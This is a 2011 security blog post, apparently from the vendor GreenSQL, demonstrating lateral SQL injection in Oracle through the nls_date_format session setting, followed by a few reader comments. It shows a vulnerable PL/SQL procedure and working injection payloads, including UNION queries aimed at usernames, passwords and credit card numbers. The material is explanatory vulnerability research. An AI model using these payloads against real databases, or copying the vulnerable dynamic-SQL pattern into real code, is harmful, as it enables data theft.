Home > GreenSQL > Lateral SQL Injection in Oracle Database

Lateral SQL Injection in Oracle Database

September 15th, 2011

Lateral SQL Injection in Oracle Database

 

Overview
=======

In order to get the system date in Oracle, you able to query for sysdate field in table dual.
SQL> select sysdate from dual;
SYSDATE
————–
15-SEP-11

SYSDATE format is set in: nls_date_format.

Following the publication: Lateral SQL Injection: A New Class of Vulnerability in Oracle, (http://www.databasesecurity.com/dbsec/lateral-sql-injection.pdf) published by David Litchfield, FEB/2008.

This post provides an overview and a demonstration on how this issue is still easily exploitable in Oracle Database.

 

Vulnerability
=========

Nls_date_format allows input of any string without filtering.
Example:  alter session set nls_date_format = ‘”the time is:”… hh24:mi’

After running that command, the SYSDATE will return the constant sentence “the time is…” and the [hours]:[minutes] (note that the hours are in 24 hours format).

SQL> select sysdate from dual;

SYSDATE
————–
the time is:… 14:27

By manipulating this “feature”, the user can manipulate PL/SQL procedures which base on SYSDATE.
In example, take a look on the following PL/SQL procedure:

create or replace procedure date_proc is
stmt varchar2(200);
v_date date:=sysdate;
begin
stmt:=‘select object_name from all_objects where created = ”’ || v_date ||””;
dbms_output.enable;
dbms_output.put_line(stmt);
execute immediate stmt;
end;

The procedure set the variable v_date and set it as SYSDATE.

After setting v_date, the procedure sets stmt as “select object_name from all_objedcts where created = ‘[v_date]’;, which returns the names of all objects that created at the date specified in v_date.
Note that to run and get dbms_output, you need to set serveroutput on before executing the procedure.

Example: select object_name from all_objects where created = ’15-SEP-11′;

Exploitation
==========
An attacker can manipulate that procedure by setting nls_date_format to ‘ or 1=1–.

alter session set nls_date_format = ‘”” or 1=1–”‘;

In this case, stmt will be:

select
object_name from all_objects where created = ‘’ or 1=1–’;

Which will return all object_name in all_objects.

in addition, it is able to execute any SQL command, in example:
alter session set nls_date_format = ‘”” union select username from users–”‘;
alter session set nls_date_format = ‘”” union select password from users–”‘;
alter session set nls_date_format = ‘”” union select credit_card_number from clients–”‘;
etc..

Share this article

GreenSQL , , , , ,

  1. September 15th, 2011 at 18:56 | #1

    Since this attack can only be executed within a db session, are you not still limited by the permissions of the user you are logged in as – or does the sysdate elevate privileges?

  2. September 15th, 2011 at 20:03 | #2

    Congrats, impressive work. Do you know which versions are vulnerable against this injection?

  3. February 26th, 2012 at 23:53 | #3

    You can deepnd on the name of the day if you force the language in your to_char function. So no matter the session NLS setting it would return in your reference language, say english.where to_char(workdate,?Dy?,’nls_date_language=english’) = ?Sat?

  1. No trackbacks yet.